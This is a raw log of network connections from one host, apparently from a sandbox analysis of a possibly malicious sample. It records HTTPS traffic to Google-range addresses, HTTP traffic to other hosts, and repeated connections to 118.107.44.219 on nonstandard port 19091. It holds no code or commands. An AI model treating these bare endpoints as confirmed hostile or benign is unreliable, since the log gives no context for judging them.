Dec 30, 2024 04:59:14.034069061 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.034101963 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:14.034262896 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.035132885 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.035149097 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:14.036503077 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.036535025 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.036604881 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.037125111 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.037138939 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.037952900 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.037983894 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.038141966 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.041603088 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.041615009 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.172044039 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:14.172122955 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:14.377734900 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:14.382544994 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:14.659081936 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.660797119 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.682434082 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.684917927 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.685301065 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:14.685353994 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:14.687680006 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:14.687788010 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.804039955 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.804049015 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.808362961 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.808367014 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.813915968 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.813929081 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.824613094 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.824618101 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.836811066 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.836821079 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:14.837065935 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.837073088 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.092746019 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.092813015 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.092823029 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.092865944 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.093835115 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.093866110 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.093887091 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.093913078 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.098707914 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:15.105057955 CET	19091	49785	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:15.105129004 CET	49785	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:15.117275953 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.118102074 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.118166924 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.168943882 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.169045925 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.169058084 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.169095993 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.169102907 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.169137001 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.169186115 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.169233084 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.169325113 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.169394016 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.169466972 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.169564009 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.171581030 CET	49782	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.171592951 CET	443	49782	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.172276020 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.172372103 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.172446966 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.172656059 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.172693014 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.178440094 CET	49781	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.178457975 CET	443	49781	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.184740067 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.184767008 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.184904099 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.190778017 CET	49780	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.190792084 CET	443	49780	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.192706108 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.192714930 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.196204901 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.196228981 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.196320057 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.196501017 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.196515083 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.197259903 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.197273970 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.197346926 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.197560072 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.197567940 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.686605930 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:15.687097073 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:15.691694975 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:15.692887068 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:15.692948103 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:15.693264961 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:15.698000908 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:15.796130896 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.796190023 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.796757936 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.796823978 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.796832085 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.796832085 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.799259901 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.799264908 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.799779892 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.799802065 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.800282001 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.800333977 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.801651001 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.801657915 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.802010059 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:15.802016020 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:15.802783012 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.802798033 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.820112944 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.820171118 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.820535898 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.820540905 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.822770119 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:15.822773933 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:15.994678974 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:15.994751930 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:15.998871088 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:16.004748106 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:16.176750898 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.176820040 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.176850080 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.176903963 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.176924944 CET	443	49786	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.176978111 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.177000046 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.177025080 CET	49786	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.177656889 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.177702904 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.177772999 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.177983999 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.178010941 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.195974112 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.196022034 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.196032047 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.196068048 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.196125984 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.196145058 CET	443	49787	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.196188927 CET	49787	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.196561098 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.196579933 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.196635962 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.196818113 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.196824074 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.211045980 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.211082935 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.211100101 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.211123943 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.211136103 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.211162090 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.211213112 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.211241961 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.211249113 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.211273909 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.211863995 CET	49788	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.211875916 CET	443	49788	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.212470055 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.212486982 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.212539911 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.212750912 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.212759018 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.307586908 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:16.307634115 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:16.358257055 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.358297110 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.358333111 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.358350992 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.358361006 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.358378887 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.358406067 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.358416080 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.369296074 CET	49789	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.369306087 CET	443	49789	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.374099016 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.374116898 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.374176025 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.376394033 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.376403093 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.551422119 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:16.551517010 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:16.783679008 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.783762932 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.784419060 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.784537077 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.787944078 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.787965059 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.788216114 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.789057970 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.789550066 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.797508001 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.797629118 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.798163891 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.798306942 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.799948931 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.799953938 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.800142050 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.800209045 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.800745010 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:16.819551945 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.819906950 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.819906950 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.819928885 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.820262909 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:16.820266962 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:16.835335970 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.847326994 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:16.969693899 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:17.040805101 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.042741060 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.058172941 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.058182001 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.058214903 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.058221102 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.104778051 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:17.110002041 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:17.159109116 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.159738064 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.160938978 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.160938978 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.164882898 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.164908886 CET	443	49798	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.166764975 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.166866064 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.166867971 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.166878939 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.166971922 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.166971922 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.166991949 CET	443	49795	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.167097092 CET	49795	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.167102098 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.167110920 CET	443	49798	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.167682886 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.167721033 CET	443	49799	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.172879934 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.173940897 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.173958063 CET	443	49799	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.267941952 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.267982006 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.268066883 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.268066883 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.268076897 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.268363953 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.268852949 CET	49796	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.268868923 CET	443	49796	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.269349098 CET	49800	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.269371986 CET	443	49800	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.269442081 CET	49800	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.269630909 CET	49800	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.269643068 CET	443	49800	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.408907890 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:17.409043074 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:17.449501991 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.449584961 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.449614048 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.449625015 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.449649096 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.449701071 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.449878931 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.450706005 CET	49797	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.450711012 CET	49801	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.450715065 CET	443	49797	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.450773954 CET	443	49801	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.450907946 CET	49801	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.451705933 CET	49801	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.451731920 CET	443	49801	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.484441996 CET	49794	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.484467030 CET	443	49794	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.648430109 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:17.653280973 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:17.653928995 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:17.658751011 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:17.801007986 CET	443	49799	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.801069975 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.801656008 CET	443	49799	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.801723003 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.801736116 CET	443	49798	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.801812887 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.803246975 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.803257942 CET	443	49799	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.803466082 CET	443	49799	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.803538084 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.803946018 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.803950071 CET	443	49798	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.803994894 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.805358887 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.805366039 CET	443	49798	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.805705070 CET	443	49798	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.805758953 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.806049109 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:17.851320028 CET	443	49798	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.851342916 CET	443	49799	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:17.890326023 CET	443	49800	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.890383959 CET	49800	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.890722036 CET	49800	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.890727997 CET	443	49800	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.892896891 CET	49800	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:17.892900944 CET	443	49800	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:17.952276945 CET	80	49793	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:17.952326059 CET	49793	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:17.961636066 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:17.961690903 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:18.047142029 CET	49801	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:18.047346115 CET	49799	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.047365904 CET	49798	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.047386885 CET	49800	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:18.051295996 CET	49803	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.051326990 CET	443	49803	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:18.051502943 CET	49803	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.064244032 CET	49803	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.064255953 CET	443	49803	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:18.064830065 CET	49804	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.064856052 CET	443	49804	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:18.065133095 CET	49804	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.065485954 CET	49804	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.065496922 CET	443	49804	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:18.356479883 CET	49805	80	192.168.2.4	39.156.85.231
Dec 30, 2024 04:59:18.361305952 CET	80	49805	39.156.85.231	192.168.2.4
Dec 30, 2024 04:59:18.361386061 CET	49805	80	192.168.2.4	39.156.85.231
Dec 30, 2024 04:59:18.386601925 CET	49806	80	192.168.2.4	39.156.85.200
Dec 30, 2024 04:59:18.387465000 CET	49805	80	192.168.2.4	39.156.85.231
Dec 30, 2024 04:59:18.387465954 CET	49807	80	192.168.2.4	39.156.85.201
Dec 30, 2024 04:59:18.396492004 CET	80	49806	39.156.85.200	192.168.2.4
Dec 30, 2024 04:59:18.396564007 CET	49806	80	192.168.2.4	39.156.85.200
Dec 30, 2024 04:59:18.397109985 CET	80	49805	39.156.85.231	192.168.2.4
Dec 30, 2024 04:59:18.397123098 CET	80	49807	39.156.85.201	192.168.2.4
Dec 30, 2024 04:59:18.397177935 CET	49807	80	192.168.2.4	39.156.85.201
Dec 30, 2024 04:59:18.669137001 CET	443	49804	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:18.669192076 CET	49804	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.669828892 CET	49804	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.669833899 CET	443	49804	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:18.672192097 CET	49804	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:18.672195911 CET	443	49804	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:18.699208021 CET	443	49803	142.250.181.238	192.168.2.4
